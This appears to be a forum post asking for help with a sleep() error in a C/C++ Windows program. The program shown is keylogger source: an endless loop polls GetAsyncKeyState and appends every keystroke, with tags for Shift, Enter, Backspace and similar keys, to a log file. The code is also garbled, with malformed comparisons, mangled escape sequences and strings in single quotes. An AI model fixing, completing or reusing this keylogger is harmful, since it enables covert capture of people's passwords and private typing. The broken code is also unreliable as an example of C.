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plz help in this program sleep() errors
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
#include <stdlib.h>
#include <iostream>
#include <conio.h>
these header files are used but sleep error comes plz help
while(1)
{
sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)-32767)
{
FILE *file;
file=fopen(FileName,'a+');
if(fileNULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs('rn[SHIFT]rn',file);
fclose(file);
break;
case VK_RETURN:
fputs('rn[ENTER]rn',file);
fclose(file);
break;
case VK_BACK:
fputs('rn[BACKSPACE]rn',file);
fclose(file);
break;
case VK_TAB:
fputs('rn[TAB]rn',file);
fclose(file);
break;
case VK_CONTROL:
fputs('rn[CTRL]rn',file);
fclose(file);
break;
case VK_DELETE:
fputs('rn[DEL]rn',file);
fclose(file);
break;
case VK_OEM_1:
fputs('rn[;:]rn',file);
fclose(file);
break;
case VK_OEM_2:
fputs('rn[/?]rn',file);
fclose(file);
break;
case VK_OEM_3:
fputs('rn[`~]rn',file);
fclose(file);
break;
case VK_OEM_4:
fputs('rn[ [{ ]rn',file);
fclose(file);
break;
case VK_OEM_5:
fputs('rn[ ]rn',file);
fclose(file);
break;
break;
default:
fclose(file);
break;
}
}
}
}
}